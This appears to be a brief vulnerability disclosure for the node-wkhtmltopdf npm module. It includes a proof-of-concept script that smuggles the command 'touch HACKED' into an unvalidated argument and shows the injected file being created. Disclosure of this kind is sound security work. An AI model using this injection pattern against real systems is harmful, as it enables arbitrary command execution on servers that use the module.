The node-wkhtmltopdf
module is vulnerable against RCE
since a command is crafted using user inputs
not validated and then executed, leading to arbitrary command injection
// poc.js
var wkhtmltopdf = require("node-wkhtmltopdf");
wkhtmltopdf("", "test", "test; touch HACKED; #", function(err){});
HACKED
3 Execute the following commands in another terminal:npm i node-wkhtmltopdf # Install affected module
node poc.js # Run the PoC
HACKED
has been created